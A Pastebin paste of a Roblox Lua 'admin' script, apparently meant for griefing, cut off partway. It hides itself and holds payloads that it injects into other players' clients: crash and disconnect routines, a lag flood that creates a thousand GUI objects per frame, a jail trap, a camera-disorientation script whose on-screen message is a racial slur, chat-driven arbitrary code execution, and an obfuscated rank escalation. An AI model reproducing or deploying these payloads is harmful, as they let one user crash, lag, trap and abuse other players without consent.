fire17774

Untitled

Nov 23rd, 2016
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 75.36 KB | None | 0 0
  1. --[[
  2. Kaj Admin Generation 8
  3. Lol global admin
  4. ]]
  5.  
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17. if script then
  18. coroutine.yield()
  19. script.Parent = nil
  20. end
  21. --[[Stuff]]--
  22. VR = _VERSION
  23. Plrs = game:GetService("Players")
  24. Work = game:GetService("Workspace")
  25. Light = game:GetService("Lighting")
  26. Net = game:GetService("NetworkServer")
  27. Removed = false
  28. Bet = "/"
  29. LS = nil
  30. LSSource = nil
  31. OwnSource = nil
  32. FoundLocalScript = false
  33. LogOn = false
  34. Current = game
  35. Clipboard = {}
  36. AlertColor = Color3.new(1, 0, 0)
  37. OptionColor = Color3.new(1, 1, 1)
  38. ImportantColor = Color3.new(1, 0, 1)
  39. --[[Ranks]]--
  40. RankDetails = {
  41. [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Muted"},
  42. [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Jailed"},
  43. [-1] = {Name = "Just Banned", Color = Color3.new(1, 1, 1), Desc = "Banned forever"},
  44. [0] = {Name = "Default", Color = Color3.new(0, 0, 1), Desc = "Defaults"},
  45. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Moderator"},
  46. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  47. [3] = {Name = "Maximum Moderator", Color = Color3.new(1, 1, 0), Desc = "Maximum Moderator"},
  48. [4] = {Name = "Super Adminstrator", Color = Color3.new(1, 0, 0), Desc = "Super Administrator)"},
  49. [5] = {Name = "Maximum Adminstrator", Color = Color3.new(-1, -1, -1), Desc = "Maximum Adminstrator"},
  50.  
  51. }
  52.  
  53. Rankings = {
  54. {Name = "fire17774", Rank = 5},
  55.  
  56.  
  57.  
  58. }
  59.  
  60.  
  61. --[[End of Ranks]]--
  62. ImportantServices = {
  63. "Workspace",
  64. "Players",
  65. "NetworkServer",
  66. "Lighting",
  67. "StarterGui",
  68. "Teams",
  69. "StarterPack",
  70. }
  71.  
  72. Ranks = {}
  73. Commands = {}
  74. AllTabs = {}
  75. Injected = {}
  76.  
  77. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  78. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  79. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  80. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  81. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  82. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  83. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  84. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  85. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  86. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  87. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  88. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  89. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  90. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  91. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  92. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  93. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  94. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  95. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  96. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  97. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  98. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  99. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  100. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  101. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  102. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  103. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  104. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  105. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  106. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  107. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  108. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  109. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  110. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  111. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  112. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  113. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  114. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  115. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  116. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  117. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  118. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  119. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  120. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  121. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  122. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  123. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  124. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  125. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  126. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  127. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  128. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  129. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  130. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  131. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  132. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  133. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  134. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  135. "X","Y"}
  136.  
  137. --Main Functions And Sources
  138.  
  139. function Insert(Source, Par, Par2, Par3)
  140. ypcall(function()
  141. local Inserted = LS:Clone()
  142. Inserted.Disabled = true
  143. Inserted.Parent = Par or Par2 or Par3
  144. Inserted[LSSource].Value = Source
  145. Inserted.Disabled = false
  146. end)
  147. end
  148.  
  149. function CheckImportant(Name)
  150. for _,v in pairs(ImportantServices) do
  151. if v:lower() == Name:lower() then
  152. return true
  153. end
  154. end
  155. return false
  156. end
  157.  
  158. function Crash1(Plr)
  159. ypcall(function()
  160. Plr:Kick()
  161. end)
  162. end
  163.  
  164. function GetRankTab()
  165. return Rankings
  166. end
  167.  
  168. function Crash2(Name)
  169. local Crasher = Instance.new("StringValue")
  170. Crasher.Name = "Client"
  171. Crasher.Value = string.lower(tostring(Name))
  172. Crasher.Parent = game:GetService("Lighting")
  173. wait(1)
  174. if Crasher and Crasher.Parent then
  175. ypcall(function()
  176. Crasher:Destroy()
  177. end)
  178. end
  179. end
  180.  
  181. function Crash3(v, Speaker)
  182. Speaker.Character.Archivable = true
  183. local NChar = Speaker.Character:Clone()
  184. NChar.Name = v.Name
  185. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  186. NChar.Parent = Workspace
  187. v.Character = NChar
  188. coroutine.resume(coroutine.create(function()
  189. repeat v.Character = NChar
  190. wait(1/3) until false
  191. end))
  192. wait(.5)
  193. Insert(InsertCrash, NChar, nil, nil)
  194. end
  195.  
  196. function GenerateDigit()
  197. return 1 + 5
  198. end
  199.  
  200.  
  201. NilS = [==[
  202. if script then
  203. coroutine.yield()
  204. script.Parent = nil
  205. end
  206. Player=game.Players.LocalPlayer
  207. Probe=Instance.new'Part';
  208. CN='Kaj TabletsNil | ['..Player.Name..']'
  209. Camera=Workspace.CurrentCamera
  210. Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
  211. Char = Player.Character
  212. if Char then
  213. Char.Archivable = true
  214. Char = Char:clone()
  215. local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
  216. if t then
  217. for k,v in pairs(Char:GetChildren()) do
  218. if not v:IsA("Part") then
  219. v:clone().Parent = t
  220. end
  221. end
  222. Char = t:clone()
  223. if Player.Name == "Cobalt1164" or Player.Name == "hipow12" then
  224. local spot = Instance.new("SpotLight",Char.Head)
  225. spot.Angle = 10
  226. spot.Range = 10
  227. spot.Color = Color3.new(1,1,1)
  228. spot.Brightness = 10
  229. local point = Instance.new("PointLight",Char.Head)
  230. point.Range = 10
  231. point.Color = Color3.new(1,1,1)
  232. point.Brightness = 10
  233. end
  234. end
  235. end
  236.  
  237. coroutine.resume(coroutine.create(function()
  238. while true do wait(0.00000001)
  239. pcall(function()
  240. if Character.Torso.CFrame.Y < 1 then
  241. Character.Torso.CFrame = CFrame.new(0,20,0)
  242. end
  243. end)
  244. end
  245. end))
  246. Title=function(txt,part,color,rise)
  247. col=nil
  248. col=Color3.new(BrickColor.new(color))
  249. local Gui = Instance.new("BillboardGui",part)
  250. Gui.Name = "3DGUI"
  251. Gui.ExtentsOffset = Vector3.new(0,2,0)
  252. Gui.Size = UDim2.new(8,0,2,0)
  253. local Tit = Instance.new("TextLabel",Gui)
  254. Tit.Name = "Title"
  255. Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  256. Tit.TextColor3 = Color3.new(0,0,0)
  257. Tit.TextTransparency = 0.25
  258. Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  259. Tit.TextStrokeTransparency = 0.5
  260. Tit.Size = UDim2.new(1,0,1,0)
  261. Tit.BackgroundTransparency = 1
  262. Tit.Font = "ArialBold"
  263. Tit.TextScaled = true
  264. Tit.Text = txt
  265. if rise then
  266. if not tonumber(rise) then rise = 1 end
  267. coroutine.wrap(function()
  268. while Tit.Parent and Gui.Parent and wait() do
  269. Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
  270. end
  271. end)()
  272. end
  273. return Tit
  274. end
  275. Chat=function(Part,Text,Color,Type)
  276. if Type==nil or Type==1 or Type=='Bubble' then
  277. game:service'Chat':Chat(Part,Text,Color)
  278. else
  279. if type(Color)~='string' then
  280. Color=tostring(BrickColor.random())
  281. end
  282. Title(Text,Part,Color,math.random(1,3))
  283. end
  284. end
  285. DestroyCharacter=function()
  286. local chara = Player.Character
  287. if not chara then return end
  288. if chara:findFirstChild("Humanoid") then
  289. chara.Humanoid:Destroy()
  290. end
  291. chara:BreakJoints()
  292. for k,v in pairs(chara:GetChildren()) do
  293. if v:IsA("BasePart") then
  294. v.CanCollide = false
  295. v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
  296. v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  297. end
  298. end
  299. game.Debris:AddItem(chara,3)
  300. end
  301. MakeProbe=function()
  302. if Player.Character then DestroyCharacter() end Player.Character = nil
  303. if Probe then Probe:Destroy() end
  304. Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
  305. Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
  306. Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
  307. Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
  308. coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
  309. Player.Character=Probe
  310. end
  311. Spawn=function()
  312. if Char then
  313. local c = Char:clone()
  314. c.Name = CN
  315. c.Parent = workspace
  316. c:MoveTo(workspace.CurrentCamera.Focus.p)
  317. Player.Character = c
  318. workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
  319. workspace.CurrentCamera.CameraType = "Custom"
  320. Probe:Destroy()
  321. end
  322. end
  323. Player.Chatted:connect(function(Msg)
  324. game:service'Chat':Chat(Player.Character.Head,Msg,'Green')
  325. if Msg:sub(1,2) == '//' then
  326. local Func,Error=loadstring(Msg:sub(3))
  327. if Error==nil then
  328. pcall(Func)
  329. if Player.Character then
  330. game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
  331. end
  332. else
  333. if Player.Character then
  334. game:service'Chat':Chat(Player.Character.Head,Error,'Red')
  335. else
  336. local Msg=Instance.new'Message'
  337. Msg.Parent=Workspace.CurrentCamera
  338. Msg.Text=Error
  339. game:service'Debris':AddItem(Msg,5)
  340. end
  341. end
  342. elseif Msg:sub(1,#('newlocal')+2) == '/newlocal/' then
  343. NewMsg=Msg:sub(#('newlocal')+3)
  344. Split=NewMsg:find('/')
  345. local PlayerName=NewMsg:sub(1,Split-1)
  346. local Source=NewMsg:sub(Split+1)
  347. Player=nil
  348. for i,v in pairs(game.Players:GetPlayers()) do
  349. if v.Name:lower():sub(1,#PlayerName)==PlayerName then
  350. if Player==nil then
  351. Player=v
  352. else
  353. if type(Player) == 'table' then
  354. Player[#Player+1]=v
  355. else
  356. Player={v}
  357. end
  358. end
  359. end
  360. end
  361. if type(Player)=='table' then
  362. for i,v in pairs(Player) do
  363. if newLocalScript then
  364. newLocalScript(Source,v.Character)
  365. else
  366. Clone=script:clone();
  367. SourceC=Clone:children()[1]
  368. if SourceC:IsA'StringValue' then
  369. print'String'
  370. else
  371. SourceC=Clone:children()[2]
  372. end
  373. SourceC.Value=Source
  374. Clone.Disabled=true
  375. Clone.Parent=v.Character
  376. Clone.Disabled=false
  377. end
  378. end
  379. else
  380. if newLocalScript then
  381. newLocalScript(Source,Player.Character)
  382. else
  383. Clone=script:clone();
  384. DS=Clone:children()
  385. DSS=nil
  386. for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
  387. DSS.Value=Source
  388. Clone.Disabled=true;
  389. Clone.Parent=Player.Character
  390. Clone.Disabled=false
  391. end
  392. end
  393. elseif Msg:sub(1,#('rejoin')+2) == '/rejoin/' then
  394. game:service'TeleportService':Teleport(Game.PlaceId)
  395. elseif Msg:sub(1,#('probe')+2) == '/probe/' then
  396. MakeProbe()
  397. elseif Msg:sub(1,#('char')+2) =='/char/' then
  398. Spawn()
  399. elseif Msg:sub(1,#('ban')+2) == '/ban/' then
  400. Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
  401. if Player then
  402. repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3
  403. end
  404. end
  405. wait()
  406. if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('/probe/') and not Msg:find('/char/') then -- Is nil then
  407. if Probe then
  408. Chat(Probe,Msg,math.random(0,2))
  409. else
  410. if Player.Character==nil then
  411. if Char then
  412. Chat(Char.Head,Msg,math.random(0,2))
  413. end
  414. else
  415. Chat(Player.Character.Head,Msg,'Red')
  416. end
  417. end
  418. end
  419. end) -- local
  420. ]==]
  421.  
  422. InjectionCrash = [=[
  423. wait(0)
  424. script.Parent = nil
  425. local Lig = game:GetService("Lighting")
  426. local LP = game:GetService("Players").LocalPlayer
  427. local LowerName = LP.Name:lower()
  428.  
  429. Lig.ChildAdded:connect(function(Obj)
  430. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  431. pcall(function()
  432. Obj:Destroy()
  433. end)
  434. LP.Parent = nil
  435. LP.Parent = game:GetService("Players")
  436. end
  437. end)
  438. ]=] RankDetails[GenerateDigit()] = {Name = ('Owner, Main Developer'), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("Yeah, rank 6.")}
  439.  
  440. InsertCrash = [==[
  441. local LP = game:GetService("Players").LocalPlayer
  442. LP.Parent = nil
  443. LP.Parent = game:GetService("Players")
  444. ]==]
  445.  
  446. LagSource = [==[
  447. wait(0)
  448. script.Parent = nil
  449. plr = game:GetService("Players").LocalPlayer
  450. local plrgui = plr:findFirstChild("PlayerGui")
  451. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  452. while plr.Parent == game:GetService("Players") do
  453. wait()
  454. for i = 1, 1000 do
  455. local sc = Instance.new("ScreenGui",plrgui)
  456. local fr = Instance.new("TextLabel",sc)
  457. fr.Text = "LAGGING"
  458. fr.Size = UDim2.new(1, 0, 1, 0)
  459. fr.FontSize = "Size48"
  460. end
  461. end
  462. ]==]
  463.  
  464. MuteSource = [==[
  465. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  466. ]==]
  467.  
  468. UnMuteSource = [==[
  469. game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
  470. ]==]
  471.  
  472. FunScript = [[
  473. LP = game:service'Players'.LocalPlayer
  474. Shapes = {"Ball", "Block"}
  475. wait()
  476. script.Parent = nil
  477. Delay(0, function()
  478. while wait() do
  479. workspace.CurrentCamera.CameraType = "Scriptable"
  480. workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
  481. workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
  482. workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
  483. local Part = Instance.new("Part", workspace.CurrentCamera)
  484. Part.Shape = Shapes[math.random(1, 2)]
  485. Part.Anchored = true
  486. Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  487. Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
  488. Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
  489. local Smoke = Instance.new("Smoke", Part)
  490. Smoke.Color = Color3.new(math.random(), math.random(), math.random())
  491. Smoke.Opacity = 0.7
  492. local Sparkles = Instance.new("Sparkles", Part)
  493. Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random())
  494. local Fire = Instance.new("Fire", Part)
  495. Fire.Color = Color3.new(math.random(), math.random(), math.random())
  496. Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random())
  497. local Ex = Instance.new("Explosion", workspace.CurrentCamera)
  498. Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
  499. Ex.BlastPressure = 15
  500. Ex.BlastRadius = 12.5
  501. if not workspace.CurrentCamera:findFirstChild("Hint") then
  502. local mes = Instance.new("Hint", workspace.CurrentCamera)
  503. mes.Text = "OMG STOP FUCKING WITH MY SHIT YOU STUPID NIGGA"
  504. end
  505. end
  506. end)
  507. ]]
  508.  
  509. JailSource = [==[
  510. wait(0)
  511. script.Parent = nil
  512.  
  513. local LP = game:GetService("Players").LocalPlayer
  514. Middle2 = nil
  515. Middle = nil
  516. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  517.  
  518. Cons = {}
  519.  
  520. function makePrison()
  521. for _,v in pairs(Cons) do
  522. v:disconnect()
  523. end
  524. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  525. if Middle == nil then
  526. Middle2 = LP.Character.Torso.Position
  527. Middle = LP.Character.Torso.CFrame
  528. end
  529. local side1 = Instance.new("Part")
  530. side1.Name = "¬Focus1¬"
  531. side1.Size = Vector3.new(20, 50, 1)
  532. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  533. side1.BrickColor = BrickColor.new("Really black")
  534. side1.CanCollide = true
  535. side1.Anchored = true
  536. side1.TopSurface = "Smooth"
  537. side1.BottomSurface = "Smooth"
  538. side1.Parent = game:GetService("Workspace").CurrentCamera
  539.  
  540. local side2 = Instance.new("Part")
  541. side2.Name = "¬Focus2¬"
  542. side2.Size = Vector3.new(20, 50, 1)
  543. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  544. side2.BrickColor = BrickColor.new("Really black")
  545. side2.CanCollide = true
  546. side2.Anchored = true
  547. side2.TopSurface = "Smooth"
  548. side2.BottomSurface = "Smooth"
  549. side2.Parent = game:GetService("Workspace").CurrentCamera
  550.  
  551. local side3 = Instance.new("Part")
  552. side3.Name = "¬Focus3¬"
  553. side3.Size = Vector3.new(1, 50, 20)
  554. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  555. side3.BrickColor = BrickColor.new("Really black")
  556. side3.CanCollide = true
  557. side3.Anchored = true
  558. side3.TopSurface = "Smooth"
  559. side3.BottomSurface = "Smooth"
  560. side3.Parent = game:GetService("Workspace").CurrentCamera
  561.  
  562. local side4 = Instance.new("Part")
  563. side4.Name = "¬Focus4¬"
  564. side4.Size = Vector3.new(1, 50, 20)
  565. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  566. side4.BrickColor = BrickColor.new("Really black")
  567. side4.CanCollide = true
  568. side4.Anchored = true
  569. side4.TopSurface = "Smooth"
  570. side4.BottomSurface = "Smooth"
  571. side4.Parent = game:GetService("Workspace").CurrentCamera
  572.  
  573. local side5 = Instance.new("Part")
  574. side5.Name = "¬Focus5¬"
  575. side5.Size = Vector3.new(20, 1, 20)
  576. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  577. side5.BrickColor = BrickColor.new("Really black")
  578. side5.CanCollide = true
  579. side5.Anchored = true
  580. side5.TopSurface = "Smooth"
  581. side5.BottomSurface = "Smooth"
  582. side5.Parent = game:GetService("Workspace").CurrentCamera
  583.  
  584. wait(0)
  585.  
  586. table.insert(Cons, side1.Changed:connect(makePrison))
  587. table.insert(Cons, side2.Changed:connect(makePrison))
  588. table.insert(Cons, side3.Changed:connect(makePrison))
  589. table.insert(Cons, side4.Changed:connect(makePrison))
  590. table.insert(Cons, side5.Changed:connect(makePrison))
  591. end
  592.  
  593. Delay(0, function()
  594. while wait(0) do
  595. ypcall(function()
  596. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  597. LP.Character:BreakJoints()
  598. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  599. makePrison()
  600. end
  601. end)
  602. ypcall(function()
  603. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  604. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  605. end
  606. end)
  607. end
  608. end)
  609. ]==]
  610.  
  611. function All()
  612. local AllPlayers = {}
  613. for _,v in pairs(Plrs:GetPlayers()) do
  614. ypcall(function()
  615. table.insert(AllPlayers, v)
  616. end)
  617. end
  618. return AllPlayers
  619. end
  620.  
  621. function All2()
  622. local AllPlayers2 = {}
  623. for i,v in pairs(Net:GetChildren()) do
  624. ypcall(function()
  625. if v:IsA("ServerReplicator") then
  626. table.insert(AllPlayers2, v:GetPlayer())
  627. end
  628. end)
  629. end
  630. return AllPlayers2
  631. end
  632.  
  633. function MakeNum()
  634. return 2 + 4
  635. end
  636.  
  637. function ChangeRank(Plr, NewRank)
  638. local PlrName = nil
  639. local FoundPlayer = false
  640. ypcall(function()
  641. if type(Plr) == "string" then
  642. ypcall(function()
  643. for i,v in pairs(Rankings) do
  644. if v.Name:lower() == Plr:lower() then
  645. local VName = v.Name
  646. Rankings[i] = nil
  647. table.insert(Rankings, {Name = VName, Rank = NewRank})
  648. PlrName = VName
  649. FoundPlayer = true
  650. break
  651. end
  652. end
  653. end)
  654. if FoundPlayer == false then
  655. ypcall(function()
  656. for _,x in pairs(All()) do
  657. if x.Name:lower() == Plr:lower() then
  658. FoundPlayer = true
  659. for i,v in pairs(Rankings) do
  660. if v.Name:lower() == x.Name:lower() then
  661. local VName = x.Name
  662. Rankings[i] = nil
  663. PlrName = VName
  664. break
  665. end
  666. end
  667. table.insert(Rankings, {Name = VName, Rank = NewRank})
  668. end
  669. end
  670. end)
  671. end
  672. if FoundPlayer == false then
  673. ypcall(function()
  674. for _,x in pairs(All()) do
  675. if string.find(x.Name:lower(), Plr:lower()) then
  676. FoundPlayer = true
  677. for i,v in pairs(Rankings) do
  678. if v.Name:lower() == x.Name:lower() then
  679. local VName = x.Name
  680. Rankings[i] = nil
  681. PlrName = VName
  682. break
  683. end
  684. end
  685. table.insert(Rankings, {Name = VName, Rank = NewRank})
  686. end
  687. end
  688. end)
  689. end
  690. if FoundPlayer == false then
  691. ypcall(function()
  692. for i,v in pairs(Rankings) do
  693. if string.find(v.Name:lower(), Plr:lower()) then
  694. local VName = v.Name
  695. Rankings[i] = nil
  696. table.insert(Rankings, {Name = VName, Rank = NewRank})
  697. PlrName = VName
  698. FoundPlayer = true
  699. break
  700. end
  701. end
  702. end)
  703. end
  704. else
  705. for i,v in pairs(Rankings) do
  706. if v.Name:lower() == Plr.Name:lower() then
  707. Rankings[i] = nil
  708. break
  709. end
  710. end
  711. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  712. PlrName = Plr.Name
  713. end
  714. PlaceAllRanks(true)
  715. end)
  716. if PlrName ~= nil then
  717. return PlrName
  718. else
  719. return "Player"
  720. end
  721. end
  722.  
  723. function Refresh(Plr)
  724. MakeChildren(Plr)
  725. end
  726.  
  727. function MakeChildren(Plr)
  728. ypcall(function()
  729. Dismiss(Plr)
  730. for _,v in pairs(Current:GetChildren()) do
  731. ypcall(function()
  732. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  733. Ping(v.Name, Plr, nil, function(TabMod)
  734. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  735. for _,v in pairs(Current:GetChildren()) do
  736. ypcall(function()
  737. if v.Name == TabText then
  738. Dismiss(Plr)
  739. Current = v
  740. MakeChildren(Plr)
  741. end
  742. end)
  743. end
  744. end)
  745. elseif Plrs:GetPlayerFromCharacter(v) then
  746. Ping(v.Name, Plr, nil, function(TabMod)
  747. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  748. for _,v in pairs(Current:GetChildren()) do
  749. ypcall(function()
  750. if v.Name == TabText then
  751. Dismiss(Plr)
  752. Current = v
  753. MakeChildren(Plr)
  754. end
  755. end)
  756. end
  757. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  758. elseif CheckImportant(v.Name) then
  759. Ping(v.Name, Plr, nil, function(TabMod)
  760. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  761. for _,v in pairs(Current:GetChildren()) do
  762. ypcall(function()
  763. if v.Name == TabText then
  764. Dismiss(Plr)
  765. Current = v
  766. MakeChildren(Plr)
  767. end
  768. end)
  769. end
  770. end, ImportantColor)
  771. end
  772. end)
  773. end
  774. if Current ~= game then
  775. Ping("Back", Plr, nil, function()
  776. ypcall(function()
  777. Current = Current.Parent
  778. MakeChildren(Plr)
  779. Ping("You Are Back To "..Current.Name, Plr, 5)
  780. end)
  781. end, OptionColor)
  782. end
  783. if Current ~= game then
  784. Ping("Delete", Plr, nil, function()
  785. ypcall(function()
  786. local CurrPar = Current.Parent or game
  787. local CurrName = Current.Name
  788. Current:Destroy()
  789. Current = CurrPar
  790. MakeChildren(Plr)
  791. Ping("Attempted To Delete "..CurrName, Plr, 5)
  792. end)
  793. end, OptionColor)
  794. end
  795. Ping("Refresh", Plr, nil, function()
  796. ypcall(function()
  797. Refresh(Plr)
  798. Ping("Refreshed", Plr, 5)
  799. end)
